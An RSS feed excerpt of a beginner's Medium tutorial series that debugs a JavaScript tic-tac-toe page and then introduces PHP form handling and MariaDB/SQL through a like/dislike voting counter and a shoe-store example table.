something?</blockquote><blockquote><strong>You:</strong> We google it?</blockquote><blockquote><strong>Me:</strong> They grow so fast… *sheds tears*</blockquote><p>Let’s try this:</p><blockquote>javascript frameworks</blockquote><p><a href="https://www.sitepoint.com/top-javascript-frameworks-libraries-tools-use/">This</a> seems like a good place to start, it has definitions of ‘framework’, ‘library’ and ‘tool’ as well as an overview of the most popular JS frameworks, let’s see what it has to say about frameworks:</p><blockquote>A <strong>framework</strong> is an application skeleton. It requires you to approach software design in a specific way and insert your own logic at certain points. Functionality such as events, storage, and data binding are normally provided for you. Using the car analogy, a framework provides a working chassis, body, and engine. You can add, remove or tinker with some components presuming the vehicle remains operational.</blockquote><p>So I’m thinking most frameworks would provide us a web server as well as take care of those configuration files we had a lot of trouble with when first installing Nginx, cool. Then we could just add our code and things <em>should</em> work.</p><h3>C ya!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*etEPFreI626R7_l8XT_80w.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@gabriela-palai-129458?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Gabriela Palai</a> from <a href="https://www.pexels.com/photo/alone-autumn-mood-forest-cold-countryside-397096/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>The purpose of this series was to give you a basic understanding of how things work not just in web development, but in general computing stuff. Being lost is not that huge of a problem — you just have to break it into smaller, simpler, stupider ones.</p><p>As always, thanks for reading :)</p><h3>Where to?</h3><p>I’d suggest start practicing programming if you haven’t yet. Programming is not a language-specific skill: once you know how to program (be it in Python, Java, JavaScript, C, etc.) it’ll be much easier to learn new programming languages — because the only thing you’ll actually need to learn is syntax. Although different languages may use different programming paradigms, general programming knowledge still makes things much easier.</p><h4>Python</h4><p>Python is a very good language to begin with, it can be used to do basically anything: from machine learning, data science and web crawlers to games and full applications.</p><p>Here’s a <a href="https://www.learnpython.org/">beginners’ tutorial</a> on Python.</p><h4>JavaScript/HTML/CSS</h4><p>You already know what these guys are used for. <a href="https://learn.freecodecamp.org/">FreeCodeCamp</a> is by far the best resource to learn JavaScript: it’s completely free, open source and hands-on oriented.</p><h4>Linux</h4><p>If you don’t use Linux, that’s okay, nobody is perfect.</p><p>lol</p><p>Seriously now, most of the machines in the world run Linux (I didn’t say most PCs): Modems, routers, servers, smartphones (Android), etc. Even if you don’t plan in using Linux daily on your PC, it’s crucial to understand how to operate a Linux terminal as well as how processes, permissions, users and services work on Linux.</p><p>I found <a href="https://www.digitalocean.com/community/tutorials/an-introduction-to-linux-basics">this tutorial </a>that seems to cover some important things so that you can survive in the terminal world without a mouse.</p><h3>Appendix 1: Definitions</h3><h4>High-level programming languages</h4><p>There are tons of programming languages out there. The level of a language often means how far from actual computer, binary code the language code, and thus how far from human language.</p><p>Let’s tell the computer to print “Hello World!” in a couple different languages:</p><pre><strong>English</strong></pre><pre>Hey computer, would you print &quot;Hello World!&quot; please?</pre><pre><strong>Python</strong></pre><pre>print(&#39;Hello World&#39;)</pre><pre><strong>C</strong></pre><pre>#include &lt;stdio.h&gt;</pre><pre>int main(int argc, char *argv[]) {</pre><pre>printf(&quot;Hello World!\n&quot;);</pre><pre>}</pre><pre><strong>Assembly</strong></pre><pre>section     .text<br>global      _start                              ;must be declared for linker (ld)</pre><pre>_start:                                         ;tell linker entry point</pre><pre>    mov     edx,len                             ;message length<br>    mov     ecx,msg                             ;message to write<br>    mov     ebx,1                               ;file descriptor (stdout)<br>    mov     eax,4                               ;system call number (sys_write)<br>    int     0x80                                ;call kernel</pre><pre>    mov     eax,1                               ;system call number (sys_exit)<br>    int     0x80                                ;call kernel</pre><pre>section     .data</pre><pre>msg     db  &#39;Hello, world!&#39;,0xa                 ;our dear string<br>len     equ $ - msg                             ;length of our dear string</pre><p>I confess I copied the <a href="http://asm.sourceforge.net/intro/hello.html">assembly code</a>. The main idea here is that the lower the language level, the more distant it is from human language (English is the highest-level language there is, because it’s a human language!).</p><p>This means that, given the fact that JavaScript is a high-level language, we won’t have much trouble with the syntax (the commands) :)</p><h4>Interpreted vs compiled programming languages</h4><p>Our CPUs don’t understand code the way we write it (with English words and stuff). That’s why we have <em>compilers</em> and <em>interpreters.</em></p><p>Compilers process our code and produce <em>binary files, </em>files with only zeroes and ones, which can be understood by the CPU.</p><p>Interpreters work more or less like this: each line of code is, at execution time (runtime), translated into machine code and then ran. Code interpretation has much more variations and, although not all code interpretation works exactly like explained here, that’s more or less the concept behind it.</p><h4>Dynamic vs static programming languages</h4><blockquote><strong>Dynamic programming language</strong>, in <a href="https://en.wikipedia.org/wiki/Computer_science">computer science</a>, is a class of <a href="https://en.wikipedia.org/wiki/High-level_programming_language">high-level programming languages</a> which, at <a href="https://en.wikipedia.org/wiki/Run_time_(program_lifecycle_phase)">runtime</a>, execute many common programming behaviors that static programming languages perform during <a href="https://en.wikipedia.org/wiki/Compiler">compilation</a>. These behaviors could include extension of the program, by adding new <a href="https://en.wikipedia.org/wiki/Source_code">code</a>, by extending <a href="https://en.wikipedia.org/wiki/Object_(computer_science)">objects</a> and definitions, or by modifying the <a href="https://en.wikipedia.org/wiki/Type_system">type system</a>.</blockquote><p>So let’s go back to the Python “Hello World” example for a moment:</p><pre><strong>#include &lt;stdio.h&gt;</strong><br>...<br><strong>printf (&quot;Hello World!\n&quot;);</strong><br>...</pre><p>That’s it. You don’t have to include code for correctly placing the letters at the right positions of the screen, nor load the string into memory, etc. That’s because the function printf does all that for you! This function is in the stdio library, which we have included in the code. When the code is compiled, the compiler includes the code for the printf function into the binary file.</p><p>On dynamic languages this doesn’t happen, it’s the program that executes the code that’s responsible for including any external code the program requires at <em>runtime</em>.</p><h4>Weakly vs strongly-typed programming languages</h4><p>Programming languages often have <strong>variable types like </strong><em>integer </em>and <em>char.</em> <a href="https://en.wikipedia.org/wiki/Strong_and_weak_typing#Definitions_of_%22strong%22_or_%22weak%22">This</a> explains well what strongly and weakly-typed languages are:</p><blockquote>Generally, a strongly typed language has stricter typing rules at compile time, which implies that errors and exceptions are more likely to happen during compilation. (…) On the other hand, a weakly typed language has looser typing rules and may produce unpredictable results or may perform implicit type conversion at runtime.</blockquote><p><a href="https://stackoverflow.com/questions/430182/is-c-strongly-typed">This Stack Overflow question</a> is actually very relevant as well:</p><blockquote>“Strongly typed” and “weakly typed” are terms that have no widely agreed-upon technical meaning. Terms that do have a well-defined meaning are</blockquote><blockquote><strong>Dynamically typed</strong> means that types are attached to values at run time, and an attempt to mix values of different types may cause a “run-time type error”. (…)</blockquote><blockquote><strong>Statically typed</strong> means that types are checked at compile time, and a program that does not have a static type is rejected by the compiler. (…)</blockquote><h4>Programming paradigms</h4><p>Here’s what the <a href="https://en.wikipedia.org/wiki/Programming_paradigm#Support_for_multiple_paradigms">Wikipedia page</a> tells us:</p><blockquote><strong>Programming paradigms</strong> are a way to classify programming languages based on their features. Languages can be classified into multiple paradigms.</blockquote><p>I won’t go into detail about this, our scope is getting too broad too fast.</p><h3>Appendix 2: HTML Tag IDs</h3><p>Some HTML pages have lots of tags, several buttons, input fields, etc. So imagine that you’re working in a page with dozens of text input fields inside various forms. How do you identify each of these fields?</p><p>Well, one thing you can do is use HTML Tag IDs. IDs can be used to identify not only input fields, but any HTML tag. <a href="https://www.w3schools.com/Tags/att_global_id.asp">Here’s an example </a>of HTML Tag ID usage.</p><h3>Appendix 3: CSS (Cascading Style Sheets)</h3><p>The problem we stumbled upon seems to be fairly recurrent in web development: <em>how to style and place stuff easily and accurately on our pages? </em>CSS is the answer to these types of problems… kind of.</p><p>That’s it. My knowledge of CSS ends here. On to the research now:</p><blockquote>how to place buttons on a grid web</blockquote><p><a href="https://stackoverflow.com/questions/20849221/position-buttons-in-container-as-a-grid-using-css">Booya!</a></p><blockquote>How can I style this using CSS to be able to have those buttons listed as a grid with 4 columns max? I tried with display:inline-block and float:left but without success.</blockquote><p>What if we tried this, maybe it works for us.</p><blockquote><strong>You:</strong> But wait, where the hell do we write this things on our HTML?</blockquote><p>Great question. I have absolutely no idea, but hey:</p><blockquote>where to put css on html</blockquote><p><a href="https://matthewjamestaylor.com/add-css-to-html">This</a> looks like a nice tutorial. I’ll embed my CSS inline (using section 3 of the tutorial), but feel free to do as you please. I changed all my div tags to include display: inline-block;:</p><pre>&lt;div <strong>style=&quot;display:inline-block;&quot;</strong> id=&quot;div_11&quot;&gt;&lt;input type=&quot;radio&quot; name=&quot;play&quot; onclick=&quot;computePlay(11)&quot; id=&quot;11&quot;&gt;&lt;/div&gt;</pre><p>IT</p><p>WORKS</p><p>To be honest I didn’t expect this to work <strong>at all</strong>,<strong> </strong>so imagine how happy I am right now :D</p><h3>Appendix 4: ‘gameFinished’ function code</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f2f9de0ad641420b94f81bfe03e4869c/href">https://medium.com/media/f2f9de0ad641420b94f81bfe03e4869c/href</a></iframe><h3>Problem 1: Can’t select checked button</h3><p>Let’s take a look at the code again:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4924af3c9daef2a94f740dc3d3b4e341/href">https://medium.com/media/4924af3c9daef2a94f740dc3d3b4e341/href</a></iframe><p>I guess the problem is that the execution flow never enters if(button.checked), that is probably because button.checked is always false. Let’s take a look at what’s in button.checked, just before the if statement I’ll insert: alert(button.checked); so that will cause the page to pop up a window with the content of button.checked.</p><p>It says undefined! Hmmm interesting, this property is probably old or doesn’t exist for radio buttons. But looking at <a href="https://www.w3schools.com/js/js_loop_for.asp">this example</a> of for/in usage I noticed something useful: the for/in in JavaScript is not like in <a href="https://wiki.python.org/moin/ForLoop">Python</a> (as I was assuming it was). Let’s change it for this:</p><pre>for (button in radios) {<br>  if (radios[button].checked) {<br>    return radios[button];<br>  }<br>}</pre><p>Sweet! It works!</p><h3>Problem 2: Radio button comes back shortly after disappearing</h3><p>Let’s google something shall we?</p><blockquote>button.style.visibility = “hidden”; doesnt stay hidden</blockquote><p>Found <a href="https://stackoverflow.com/questions/11364020/hidden-property-of-button-in-html">this Stack Overflow question,</a> look at this bit of his original code:</p><blockquote>document.getElementById(&quot;save&quot;).hidden = &quot;&quot;;</blockquote><p>Hmm he’s changing this hidden property, while we change style.visibility. Let’s try changing that:</p><pre>selected.hidden = &quot;hidden&quot;;</pre><p>Same problem. I’m thinking problem isn’t hiding the button, but it shouldn’t come back. My guess is that the page reloads somehow after we press Play. Back to google then:</p><blockquote>radio button doesnt stay hidden javascript</blockquote><p><a href="https://stackoverflow.com/questions/1260171/dynamically-show-hide-radio-buttons-of-a-radio-button-group-using-javascript">Here we go</a>:</p><blockquote>You can get the individual radio buttons using something like</blockquote><blockquote>var rbtn = document.getElementById(&#39;radioButton1&#39;);</blockquote><blockquote>Then set the display or visibility style to hide or show.</blockquote><blockquote>rbtn.style.display = &#39;none&#39;; // &#39;block&#39; or &#39;inline&#39; if you want to show.</blockquote><p>Nope. Well, I guess we can always not use the ‘Play’ button. What we’d do is call computePlay() after a player clicks a radio button:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a1ca2801849ac94056372406f9831c68/href">https://medium.com/media/a1ca2801849ac94056372406f9831c68/href</a></iframe><p>Great! Now our buttons disappear nicely. Well… Not so nicely. Now the buttons disappear, but not every button we click is the one to disappear. My guess is that our getSelectedButton function doesn’t work that well. What if we change computePlay to receive the button’s id as an argument and then we change the function callings in the HTML:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/69aea11e4bc8ce037c8276955698846d/href">https://medium.com/media/69aea11e4bc8ce037c8276955698846d/href</a></iframe><p>Same problem, dammit. But I have an idea of what’s happening now: the buttons are literally hiding!</p><blockquote><strong>You:</strong> Okay now you’re on drugs man.</blockquote><p>The thing I didn’t realize was that hiding a button doesn’t just make it invisible (meaning that the buttons continues to be in the same place), it also hides it in the page as it never existed in the first place. So we are indeed hiding the right buttons, but if we click on the button 11 (top-left corner), for example, it will disappear, making 12 and 13 be shifted to the left, as if 11 had never been there!</p><p>So what we actually need is a way to make the button invisible, without removing it from the page.</p><p>Wait, no! We’ll need to put an <strong>X</strong> or an <strong>O</strong> in the place of the button anyways, so getting rid of the radio button after clicking it is actually a good thing!</p><p>So…. Problem kinda solved I guess?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=76e3cac733e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Get started in web development with me — Part 5: PHP intro, Databases and SQL]]></title>
            <link>https://gmelodie.medium.com/get-started-in-web-development-with-me-part-5-php-intro-databases-and-sql-678328588900?source=rss-ea856b51f1c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/678328588900</guid>
            <category><![CDATA[database]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[html]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Gabriel Cruz]]></dc:creator>
            <pubDate>Thu, 24 Jan 2019 17:38:33 GMT</pubDate>
            <atom:updated>2020-03-09T09:07:15.235Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mrQvYb0KNUvHJ8O561NLlw.jpeg" /></figure><h3>Get started in web development with me — Part 5: PHP intro, Databases and SQL</h3><p>Hi there, on part 4 we learned about HTML forms and installed PHP on our server. If you haven’t checked out parts <a href="https://medium.com/@ltcrills/get-started-in-web-development-with-me-internet-web-hypertext-html-and-urls-3603830967b1">1</a>, <a href="https://medium.com/@ltcrills/get-started-in-web-development-with-me-protocols-servers-and-http-33c527725b74">2</a>, <a href="https://medium.com/@ltcrills/get-started-in-web-development-with-me-part-3-building-our-first-web-site-105742343fc3">3</a> or <a href="https://medium.com/@ltcrills/get-started-in-web-development-with-me-part-4-html-forms-php-and-dealing-with-problems-79c9a1c8829d">4</a> go ahead and take a look at them, they’ll give you a basic understanding about what we’re doing.</p><p>Now we’re going to use PHP to handle an HTML form. In other words, we’re going to write code to modify some things on our HTML page according to how many votes we receive from the forms. But first, let’s learn some PHP.</p><p>Lost in the series? Here are <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-internet-web-hypertext-html-and-urls-3603830967b1">Part 1</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-protocols-servers-and-http-33c527725b74">Part 2</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-3-building-our-first-web-site-105742343fc3">Part 3</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-4-html-forms-php-and-dealing-with-problems-79c9a1c8829d">Part 4</a> and <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-5-php-intro-databases-and-sql-678328588900">Part 5</a>.</p><h3>Learning some PHP</h3><p>Here’s our code to print “Hello World” using PHP:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/80624ecbb5d48945904861e885a6e362/href">https://medium.com/media/80624ecbb5d48945904861e885a6e362/href</a></iframe><blockquote><strong>You:</strong> *sarcastic clap* Nice, but that is not really useful, we could’ve just used simple HTML to write that.</blockquote><blockquote><strong>Me:</strong> Ooooh so you wanna get serious? Okay.</blockquote><p>In order to get a basic understanding about PHP syntax, I’ll use <a href="https://www.w3schools.com/php/php_variables.asp">this tutorial</a> (until, including, the <a href="https://www.w3schools.com/php/php_datatypes.asp">Data Types’</a> section) as a guide, and I’ll use <a href="https://www.w3schools.com/php/php_forms.asp">this one</a> for form handling in PHP. Go ahead and read those as well.</p><p>Done? Good.</p><p>Now we can finally start working on our voting form from the last post.</p><h3>Voting Form from the last post</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e0xrrxX-8gVLM28jWwX5Vg.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@donaldtong94?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Donald Tong</a> from <a href="https://www.pexels.com/photo/person-doing-thumbs-up-193821/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>Here’s the code for the voting form we’ve been working on :</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/56b01b21643e38dd0adad5f9c92b069c/href">https://medium.com/media/56b01b21643e38dd0adad5f9c92b069c/href</a></iframe><p>What we want to do is to collect the votes using the form and present the number of likes and dislikes in the page.</p><p>The first thing we need to do is receive the information, so let’s create a PHP file to handle the form (I’ll call it vote.php):</p><pre>$ sudo touch /home/gabriel/html/vote.php</pre><p>And assign it as the form’s handler:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2936974a08bf0fd7b3f3e70b2f2971f1/href">https://medium.com/media/2936974a08bf0fd7b3f3e70b2f2971f1/href</a></iframe><p>Now we need a way to store the number of people who liked and who disliked the page. But I think this is getting too hard already, let’s just make it redirect to a “thank you for voting” page without storing any information.</p><h3>Thank you for voting!</h3><p>Here’s how my vote.php file looks like:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6279b7a2ec5c63fbd426bf43dc1fdd70/href">https://medium.com/media/6279b7a2ec5c63fbd426bf43dc1fdd70/href</a></iframe><p>Pretty simple. What if we wanted to stay on the same page instead of redirecting to another one? A way to do it would be to copy the entire page into another file:</p><pre>$ cp index.html thanks.php</pre><p>In this new page we could replace the form with a message, so that it looks like only the form part of the page changed:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/0095a6457cef621be5e1e6b75c682094/href">https://medium.com/media/0095a6457cef621be5e1e6b75c682094/href</a></iframe><p>Finally, we change the form in index.html to point to thanks.php instead of vote.phpand done!</p><p>But it seems overkill to rewrite all the page’s content just to edit a tiny little bit of it. Let’s google this:</p><blockquote>php change content of a div</blockquote><p>A div tag in HTML is a tag that allows for isolation of specific parts of HTML code, take a look <a href="https://www.w3schools.com/tags/tag_div.asp">here</a>.</p><p>Oooof, seems like we would be messing around with AJAX (and thus XML and Javascript), so we’d better not go into this just now.</p><h3>Back to counting</h3><p>Coming back to our problem: we need to count how many people liked or disliked our page.</p><blockquote><strong>You:</strong> Just store these numbers in two numerical (integer) variables.</blockquote><blockquote><strong>Me:</strong> The problem with this is that there’s no way for a user to see how many other users have voted, he would only have access to how many times he’s voted (which is always one). Also, every time the server needed to reload or restart all the data would be lost (see <a href="https://dzone.com/articles/what-is-persistent-data"><strong>data persistence</strong></a>).</blockquote><p>I guess we’ll need a database after all. If you don’t know much about databases and basic SQL take a look at <strong>Appendix 1</strong>.</p><p>Now let’s learn <a href="https://www.w3schools.com/php/php_mysql_connect.asp">how to use PHP with MySQL</a> so we can store our number of likes and dislikes.</p><p>We don’t need to know how PHP creates databases or tables because we can just log in the database and create them directly using SQL.</p><p>Hmmm… But how would this work again?</p><p>Because we are using a relational database all the data needs to be structured in tables. How do we structure our database then? I’ll do this at<strong> Problem 1</strong>.</p><p>Great! We have a table to store the data, but how do we generate the user’s ID? I’ll solve this at <strong>Problem 2</strong>.</p><h3>Using PHP to select from a database</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRspHlK36u_dLmxLNmeIOg.jpeg" /></figure><p>Sweet, we can finally start building our voting section. But first, we need to know how to <a href="https://www.w3schools.com/php/php_mysql_insert.asp">insert</a> and <a href="https://www.w3schools.com/php/php_mysql_select.asp">look</a> for data in a database using PHP. So I copied index.htmlto vote.php:</p><pre>$ cp index.html vote.php</pre><p>And added some PHP code:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5849c9aa7605f2cab318cd7b45235888/href">https://medium.com/media/5849c9aa7605f2cab318cd7b45235888/href</a></iframe><p>You probably didn’t understand the query strings (the SELECT statements), if that’s the case I suggest you read the <a href="https://www.w3schools.com/sql/sql_where.asp">WHERE</a>, <a href="https://www.w3schools.com/sql/sql_count_avg_sum.asp">COUNT</a> and <a href="https://www.w3schools.com/sql/sql_groupby.asp">GROUP BY</a> SQL tutorials.</p><p>This page throws an error:</p><pre>Connection failed: Access denied for user &#39;root&#39;@&#39;localhost&#39;</pre><p>Well, I shouldn’t be using the root account to access the database. Let’s dig into this at <strong>Problem 3</strong>.</p><p>But now it shows nothing, let’s enter the select query directly on our database:</p><pre>MariaDB [herschel]&gt; <strong>SELECT COUNT(liked) FROM vote WHERE liked=TRUE GROUP BY liked;</strong><br>Empty set (0.00 sec)</pre><p>Of course! Our database is empty! Let’s manually insert some entries:</p><pre>MariaDB [herschel]&gt;<strong> INSERT INTO vote VALUES (&#39;10.13.1.2&#39;, TRUE); </strong>Query OK, 1 row affected (0.12 sec)</pre><pre>MariaDB [herschel]&gt; <strong>INSERT INTO vote VALUES (&#39;10.13.1.1&#39;, FALSE);</strong><br>Query OK, 1 row affected (0.11 sec)</pre><pre>MariaDB [herschel]&gt; <strong>INSERT INTO vote VALUES (&#39;10.13.1.5&#39;, FALSE);</strong><br>Query OK, 1 row affected (0.07 sec)</pre><pre>MariaDB [herschel]&gt; <strong>INSERT INTO vote VALUES (&#39;10.13.1.100&#39;, TRUE);</strong><br>Query OK, 1 row affected (0.07 sec)</pre><pre>MariaDB [herschel]&gt; <strong>SELECT * FROM vote;<br>+-------------+-------+<br>| id          | liked |<br>+-------------+-------+<br>| 10.13.1.2   |     1 |<br>| 10.13.1.1   |     0 |<br>| 10.13.1.5   |     0 |<br>| 10.13.1.100 |     1 |<br>+-------------+-------+</strong><br>4 rows in set (0.00 sec)</pre><p>Now retry:</p><pre>$ <strong>sudo nginx -s reload</strong></pre><p>Still nothing… Maybe the PHP code isn’t running, let’s print something and see if it appears on the page (if it does, then our select statement is wrong, otherwise there’s something wrong with the PHP code itself):</p><pre>// vote.php<br>//...<br><strong>echo &quot;Hello There&quot;;</strong><br>//...</pre><p>It prints “Hello There”, this means there’s something wrong about how PHP is getting the results of the SQL query.</p><p>Going back to the <a href="https://www.w3schools.com/php/php_mysql_select.asp">PHP select tutorial</a> it looks like the result of a query comes as an abstract object containing the rows we selected. This seems right because if we do the query using pure SQL directly on the database this is what we get:</p><pre>MariaDB [herschel]&gt; <strong>SELECT COUNT(liked) FROM vote WHERE liked=TRUE GROUP BY liked;<br>+--------------+<br>| COUNT(liked) |<br>+--------------+<br>|            2 |<br>+--------------+</strong><br>1 row in set (0.00 sec)</pre><p>It returns us a table! So what we need to do is get the first row of this table and print it into our page:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/98c563186e71614fdd3360163f48ee8b/href">https://medium.com/media/98c563186e71614fdd3360163f48ee8b/href</a></iframe><p>Now what I see is:</p><blockquote>Hello There!<br>There are Array people who liked the page<br>There are Array people who disliked the page</blockquote><p>Wooops! My guess is that our variables $yes and $no are storing rows, but every row in a table has a list of columns. Of course in this case the row has only one column, but it’s still an <a href="https://www.tutorialspoint.com/computer_programming/computer_programming_arrays.htm">array</a> with one value. This array is indexed using column names, so I’m guessing what we’ll use to index the array is COUNT(liked):</p><pre>$yes = $yes_result-&gt;<strong>fetch_assoc()[&quot;COUNT(liked)&quot;];</strong><br>$no = $no_result-&gt;<strong>fetch_assoc()[&quot;COUNT(liked)&quot;];</strong></pre><blockquote>Hello There!<br>There are 2 people who liked the page<br>There are 2 people who disliked the page</blockquote><p>YESSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS! IT WORKS MOTHERF —</p><p>Sorry, I get a little too excited sometimes. Now we need to insert the data into the table.</p><h3>Using PHP to insert to the database</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2GwF5YI-CLywQcsTPB7iNg.jpeg" /></figure><p>We already have the code to connect to the database and the code to get the user’s IP address. I’ll take another look at <a href="https://www.w3schools.com/php/php_mysql_insert.asp">this tutorial</a> and code something:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e20fd5ac978ded0812db4cd387102b5f/href">https://medium.com/media/e20fd5ac978ded0812db4cd387102b5f/href</a></iframe><p>This is what appears on our page:</p><pre><strong>Error: Unknown column &#39;yes&#39; in &#39;field list&#39;</strong></pre><p>Oh yeah. What I tried to do was to insert the value submitted by the form into the “liked” field of the table. I need to insert TRUE if the form submits “yes” and FALSE otherwise, here’s the change I’ll do:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/712c8b2fe7a4aa30d39aa5d621c8ea8b/href">https://medium.com/media/712c8b2fe7a4aa30d39aa5d621c8ea8b/href</a></iframe><p>YESSSSSSSSSSSSSSSSSS! IT WORKS!</p><p>I’ll just remove the query check because it produces some useless output for the user. We’re all done for the day.</p><h3>Thanks again</h3><p>We worked well today! Our website is really getting some sweet features.</p><p>If you are new to computer stuff this post might be very frustrating for you (in the sense that you can, and should, have a lot of trouble with this load of new stuff). This is important, allow yourself to experience your mistakes and learn from them.</p><p>An important thing to keep in mind is to always try to have as much fun as possible. If you feel stressed, go for a walk and come back later. If you don’t know what’s going on, ask for help, it can’t hurt.</p><h3>Appendix 1: MySQL Database and persistent data storage</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMmlzztUmGro_ij6RBYMDg.jpeg" /></figure><p>First of all let me say that although I have used SQL and worked with databases before, I’m not familiar with MySQL or MariaDB, so I’ll be using <a href="https://www.linux.com/learn/mariadb-practical-how-linux-admins">this tutorial</a> as a guide.</p><p>By now you should have come across this MySQL thing. As did I. If you have no clue of what MySQL is, take a look at their <a href="https://www.mysql.com/about/">about page</a>.</p><p>First, we need to <a href="https://www.digitalocean.com/community/tutorials/how-to-install-linux-apache-mysql-php-lamp-stack-on-debian">install MySQL and its PHP modules</a>:</p><pre>$ <strong>sudo apt-get install mysql-server</strong> # install mysql server<br>...<br>$ <strong>mysql_secure_installation</strong> # configure mysql<br>...<br>$ <strong>sudo apt install php7.3-mysql</strong></pre><p>Now that we have everything set up, I’ll share with you a bit of what I know about databases.</p><h4>Relational databases and tables</h4><p>There are some people out there who would kill me for saying this, but I’ll take my chances: relational databases are just a bunch of tables (like the ones we use in spreadsheets) linked together.</p><p>You probably have seen a table in a spreadsheet (such as Google Sheets) before. Tables in a databases look just like the ones in spreadsheets.</p><blockquote><strong>You:</strong> Then why does everybody use databases and not spreadsheets</blockquote><blockquote><strong>Me:</strong> First of all, accesses and searches in databases aremuch faster than in spreadsheets. Also, it’s common to cross (join) information from several tables to get what you are looking for — which is not possible (or, if so, very hard) in spreadsheets.</blockquote><p>Suppose you and me just opened a shoe store together. Let’s create a database to hold the price information of all the shoes we currently sell.</p><p>First, we log in MySQL:</p><pre>$ <strong>sudo mysql -u root -p</strong></pre><p>Then we create a new database and change the working space to that database, I’ll call it shoe_store:</p><pre>MariaDB [(none)]&gt; <strong>CREATE DATABASE shoe_store;</strong><br>...<br>MariaDB [(none)]&gt; <strong>use shoe_store;</strong></pre><p>Now we <a href="https://www.w3schools.com/sql/sql_create_table.asp">create a table</a> named shoes to store the name and price of our shoes, take a quick look at the <a href="https://dev.mysql.com/doc/refman/8.0/en/data-types.html">MySQL data types</a> to understand the INTEGER and the VARCHAR types:</p><pre>MariaDB [shoe_store]&gt; <strong>CREATE TABLE shoes ( <br>   -&gt; name varchar(40), <br>   -&gt; price integer,<br>   -&gt; );</strong><br>Query OK, 0 rows affected (0.34 sec)</pre><p>What we just used to create the table and the database is <a href="https://en.wikipedia.org/wiki/SQL">SQL (Structured Query Language)</a>. Now let’s fill up our table with some shoes using <a href="https://www.w3schools.com/sql/sql_insert.asp">INSERT</a>:</p><pre><strong>MariaDB [shoe_store]&gt; INSERT INTO shoes (name, price) VALUES (&#39;all_star&#39;, 30);</strong><br>Query OK, 1 row affected (0.06 sec)</pre><pre><strong>MariaDB [shoe_store]&gt; INSERT INTO shoes (name, price) VALUES (&#39;cute_flip_flop&#39;, 10);</strong><br>Query OK, 1 row affected (0.07 sec)</pre><pre><strong>MariaDB [shoe_store]&gt; INSERT INTO shoes (name, price) VALUES (&#39;not_so_cute_flip_flop&#39;, 2);</strong><br>Query OK, 1 row affected (0.03 sec)</pre><p>Finally, we can <a href="https://www.w3schools.com/sql/sql_select.asp">SELECT</a> items from our tables:</p><pre>MariaDB [shoe_store]&gt; <strong>SELECT name FROM shoes;</strong><br>+-----------------------+<br>| name                  |<br>+-----------------------+<br>| all_star              |<br>| cute_flip_flop        |<br>| not_so_cute_flip_flop |<br>+-----------------------+<br>3 rows in set (0.00 sec)</pre><pre>MariaDB [shoe_store]&gt; <strong>SELECT price FROM shoes;</strong><br>+-------+<br>| price |<br>+-------+<br>|    30 |<br>|    10 |<br>|     2 |<br>+-------+<br>3 rows in set (0.00 sec)</pre><pre>MariaDB [shoe_store]&gt; <strong>SELECT * FROM shoes;</strong><br>+-----------------------+-------+<br>| name                  | price |<br>+-----------------------+-------+<br>| all_star              |    30 |<br>| cute_flip_flop        |    10 |<br>| not_so_cute_flip_flop |     2 |<br>+-----------------------+-------+<br>3 rows in set (0.00 sec)</pre><p>If we want to look for specific items we can use <a href="https://www.w3schools.com/sql/sql_where.asp">WHERE</a>:</p><pre>MariaDB [shoe_store]&gt; <strong>SELECT * FROM shoes WHERE name=&#39;all_star&#39;;</strong><br>+----------+-------+<br>| name     | price |<br>+----------+-------+<br>| all_star |    30 |<br>+----------+-------+<br>1 row in set (0.00 sec)</pre><pre>MariaDB [shoe_store]&gt; <strong>SELECT * FROM shoes WHERE price &gt; 3;</strong><br>+----------------+-------+<br>| name           | price |<br>+----------------+-------+<br>| all_star       |    30 |<br>| cute_flip_flop |    10 |<br>+----------------+-------+<br>2 rows in set (0.00 sec)</pre><h3>Problem 1: Structuring our database</h3><figure><img alt="" 